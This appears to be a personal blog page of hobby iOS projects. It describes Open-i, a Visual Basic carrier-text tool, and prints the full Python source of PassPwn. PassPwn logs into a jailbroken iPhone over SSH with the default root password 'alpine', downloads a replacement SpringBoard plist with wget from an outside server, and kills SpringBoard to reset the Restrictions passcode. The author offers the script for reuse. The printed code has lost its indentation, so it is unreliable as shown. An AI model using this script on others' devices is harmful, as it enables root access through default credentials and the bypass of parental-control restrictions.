Open-Source!

All these apps/programs will be open-source programs that I have created and abandoned in the past. The appropiate Creative Commons License will be included in the Source Code Zip File.

*Code might be old and outdated, please keep in mind Syntax may change over time*

Open-i

Exacutable Download: Click Here

Exacutable MD5/SHA1 checksum

MD5:ADB8A760B5D36B70A771FECEE0075389
SHA1:00A003A9DA6C38098108E6F8C2A8CCFB1AC2C213
SHA-256:B682C3F4D34AFDE9A2957D8EB70D48E334F1490DC90A928606849570D9EBE7F8

Source Code Download: Click Here

Source Code MD5/SHA1 checksum

MD5:03EED33A8E58637FC6C8C51BDDD9F8B1
SHA1:8BE2BBEB92EAB5B5911A6442A2C307ACB55F9CA0
SHA-256:77C9D019905BE1C26B63461EABAB82295216DBF9A03B03BBB25D33B02C4F46AE

Information:

Open-i is programmed using Visual Basic, it was created to allow other users who are beginners, wanting to get into iOS hacking/exploitation, to research code with a somewhat easy syntax. I also created it because most iOS hacking tools were created in C#,  C++, C or Objective-C. I reversed engineered an application on Mac and another application on windows (Can’t remember the names, may need to update this post when I get more time), modified the code so it could work on a higher version of iOS and started programming it in Visual Basic.

***This really did start out as a small project of just playing around with code and seeing what happens to creating a work around to a patch Apple had made***

The Application allowed a user to create custom Carrier Text or image on iOS 6 without the need to Jailbreak.

The code isn’t efficient and is a little buggy but I was 15 at the time 😉 but most of the bugs are sorted in the executable version.

Screenshots:

open-i-screenshot-1 open-i-screenshot-2

 

 

PassPwn

I created PassPwn for my final Programming assignment using Python, this basically shows off everything I learned in the past 6 months from scratch. The script is to reset the restriction passcode on a Jailbroken Apple device. Unfortunately, the only jailbreakable device I had on hand at the time was an iPhone 3GS which allowed me to show my P-O-C off.

Walkthrough:

This script SSH’s into the device which you specify, might change it to search for Apple devices on the network using the MAC Address but that’s for the future, the script then changes the current directory and renames the passcode information as a backup. The new file then gets downloaded from a server and it resorting and the device. If I wanted to get technical I could’ve echo’d what I wanted to change into the file but to keep the script small it downloads it. To reset the passcode it deletes the downloaded file and renames the old file back to its original name 🙂 Hope you enjoy the script and add features into it.

PassPwn Source Code:
from shutil import get_terminal_size
import sys
from pexpect import pxssh
global s
global hostIP
s = pxssh.pxssh()
hostIP = input(str("IP of iPhone: "))
BLUE, YELLOW, GREEN, END, BOLD = '\33[94m',  '\33[93m', '\033[92m', '\033[0m', '\033[1m'

def ssh():
try:
if s.login(hostIP, 'root', 'alpine', auto_prompt_reset=False):
print("SSH session login successful")
except ValueError:
print("SSH session failed on login, trying again...")
return

def reset():
clear()
ssh()
s.sendline("cd /var/mobile/Library/Preferences/") # Set the Current Directory on the iPhone
print("Set Current Directory...")
s.sendline("mv com.apple.springboard.plist com.apple.springboard.BAKUP") # Changes the original file so we have a backup
print("Downloading File...")
s.sendline("wget http://kierantwids.co.uk/com.apple.springboard.plist")
print("Preparing to Respring Device...")
s.sendline("killall -9 SpringBoard") #Kill Springboard with -9 which forces the command, ignoring all wait signals
s.prompt() # match the prompt
s.logout()

def recover():
clear()
ssh()
s.sendline("cd /var/mobile/Library/Preferences/") # Set the Current Directory on the iPhone
print("Set Current Directory...")
s.sendline("rm com.apple.springboard.plist") # Remove Previous plist file
print("Removing Changes")
s.sendline("mv com.apple.springboard.BAKUP com.apple.springboard.plist")
print("Restored")
print("Preparing to Respring Device...")
s.sendline("killall -9 SpringBoard") #Kill Springboard with -9 which forces the command, ignoring all wait signals
s.prompt() # match the prompt
s.logout()

def clear():
print("\n" * get_terminal_size().lines, end='')

def heading():
clear()
sys.stdout.write(GREEN + """
████████▒ ▒██████▒ ███████ ███████ ████████▒
███▒▒███▒ ░▒▒▒███▒ ███▒▒▒░ ███▒▒▒░ ███▒▒███▒
████████▒ ████████▒ ████████ ████████▒ ████████▒ ████ ████ ████ █████████
████████▒ ████████▒ ████████ ████████▒ ████████▒ ████ ████ ████ █████████
███▒ ███▒ ███▒ ███ ███▒ ███▒ ████ ████ ████ ████ ████
███▒ ████████▒ ▒██████ ░██████▒ ███▒ ▓████████████▓ ████ ████ \n\n""" + END)
print(BOLD + BLUE + "1. Reset Restriction Passcode \n2. Restore Restriction Passcode\n ")
def main():
heading() #Call heading function

option = int(input("Please Enter an Option: ")) #Declare a variable with an integer input with the text Please Enter An Option:
if option == 1: #If the variable option is 1 then run the reset function
reset()
elif option == 2: #If the variable option is 2 then run the recover function
recover()
else:
print("Please Enter a Valid Option")

main()